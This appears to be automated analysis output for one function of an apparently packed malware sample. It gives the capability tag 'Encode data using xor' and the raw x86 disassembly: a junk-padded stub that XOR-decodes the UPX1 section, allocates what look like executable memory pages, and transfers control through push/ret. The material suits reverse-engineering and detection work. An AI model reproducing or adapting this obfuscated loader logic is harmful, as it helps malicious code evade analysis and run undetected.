Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xee4c3536
mov edx, 0x165dcf51
mov edx, ecx
mov ecx, edx
popal
not ecx
not edx
sub ecx, 0xa41e2b37
mov edx, 0
mov ebx, ecx
not edi
sub edi, 0xcae1276
inc edi
mov esi, ebx
or eax, edi
add edi, 0x25119965
sub edi, eax
mov ecx, esi
and edi, eax
sub edi, 0x897ca9b0
add edi, 0x3ebd9d5f
inc edx
mov eax, 0x2a4a2ad6
mov eax, edi
dec edi
cmp edx, 0x100fffa
jne 0xa789cb
or edi, edi
add edi, 0x6b3e0762
mov ecx, 0x7445b338
add edx, 0x495412ca
mov esi, 0xa78796
add ecx, 1
not ecx
mov ebx, 0xa7898a
dec edx
mov ecx, edi
add ecx, 0x11b86974
mov eax, dword [esi]
and edi, ecx
mov ecx, 0x30669eff
inc ecx
and eax, 0xff
add edx, 0xa4d85639
dec edi
xor dword [ebx], eax
mov edx, 0xd59d5e80
or edx, edx
inc ebx
add edx, ecx
add edi, edi
mov edx, edi
inc esi
add edx, edx
add edi, 0x8370bda4
and edi, edi
cmp ebx, entry0
jl 0xa78a35
sub ecx, 0x309e03eb
sub ecx, edi
not edi
sub edi, edx
mov ebx, 0xd8da087b
inc edx
add esi, 0xbf515fed
mov ecx, 0xa7898e
add esi, 0x706b0860
add ebx, edx
sub edx, 0x87255c3b
mov ecx, dword [ecx]
add edx, esi
dec edx
mov ecx, dword [ecx]
add edi, 0x288eaf46
sub esi, 0x87b46fa4
dec esi
sub esp, 4
mov dword [esp], ecx
mov edx, edi
mov edx, 0xe731bcdd
add esi, edx
mov ecx, 0xa7898a
add esi, edi
not edi
sub edx, 1
mov ecx, dword [ecx]
or edi, edi
sub ebx, edx
mov ecx, dword [ecx]
sub ebx, esi
or edx, ebx
mov ebx, edi
sub esp, 4
mov dword [esp], 0xa78992
add ebx, 0x919df8d9
dec esi
call ecx
mov esi, 0xf0cd5396
sub ebx, 0xc770df13
add ebx, esi
pop ecx
and esi, esi
mov esi, ebx
mov edi, 0xdd3f8804
push 0xa7899f
dec edx
sub edi, edx
push eax
or edi, ebx
inc esi
and esi, edx
call ecx
or esi, edi
mov ebx, 0xfd372241
push 0x40
dec edx
not edi
push 0x3000
or edi, esi
sub esi, 0xee1a03e6
push 0x20000df7
inc edi
inc edx
or edi, esi
sub esp, 4
mov dword [esp], 0
inc esi
inc esi
call eax
not ebx
inc edi
mov edi, 0xbdf28bae
add eax, 0x20000d45
mov esi, 0xd7918adf
mov edx, 0x366013b1
mov ecx, 0xdcf655cd
not esi
inc esi
mov dword [eax], ecx
sub edi, 0x4389f6a0
dec esi
mov ecx, dword [eax]
inc edi
and esi, edi
mov edi, ebx
cmp ecx, 0xdcf655cd
je 0xa78b8a
mov eax, 0
mov byte [eax], dl
dec edi
not edi
or edx, ebx
and ebx, edx
sub ecx, edx
mov ecx, 0x94a10fd8
mov ebx, section.UPX1
inc ecx
sub ecx, 1
mov eax, 0xa78795
add edx, 0x42430f94
or edx, edx
and ecx, ecx
mov edi, 0
add ecx, edx
add edx, 0x4cdff005
add ecx, 1
mov esi, 0xa78796
sub ecx, 0x167239d
sub edx, 0x6e41aeb9
lea esi, [edi + esi]
mov edx, 0x516b633f
mov ecx, edx
mov esi, dword [esi]
add ecx, 0x688179c2
and edx, ecx
mov ecx, 0x204f89f3
and esi, 0xff
mov edx, ecx
dec edx
dec ecx
add edi, 1
add ecx, ecx
mov ecx, edx
cmp edi, 0x1f4
jne 0xa78c11
mov edi, 0
mov ecx, edx
sub edx, 0x855b52e1
sub ecx, edx
mov ecx, 0xfbfb2bd1
sub ecx, edx
xor dword [ebx], esi
add edx, 1
inc edx
add ebx, 2
sub ecx, 0xc6596ade
add ecx, ecx
cmp ebx, eax
jl 0xa78bc6
sub ecx, edx
add ecx, edx
sub ecx, 0xb08fc8d5
add edx, edx
sub ecx, edx
and edx, edx
mov eax, section.UPX1
mov ebx, 0xc174083b
add ebx, ebx
mov ecx, section.UPX1
inc ebx
sub esi, 0x5801c19e
mov edi, 0xa78795
add esi, esi
add esi, ebx
mov edx, 0
add esi, 0x9779942e
add ebx, ebx
mov dl, byte [ecx]
inc ebx
mov esi, ebx
or esi, ebx
mov byte [eax], dl
dec ebx
sub ebx, 0xa5969bf5
inc eax
and ebx, ebx
sub ebx, esi
sub esi, 1
add ecx, 2
add esi, 0x1c3f83a
sub esi, ebx
cmp ecx, edi
jle 0xa78c7f
sub esi, 0x22a186b5
and esi, ebx
add ecx, 0xc6e243ae
add ecx, ecx
or ecx, ecx
push 0x8dc6a0
add ecx, 0xc13eadea
or edx, ecx
or ecx, ecx
ret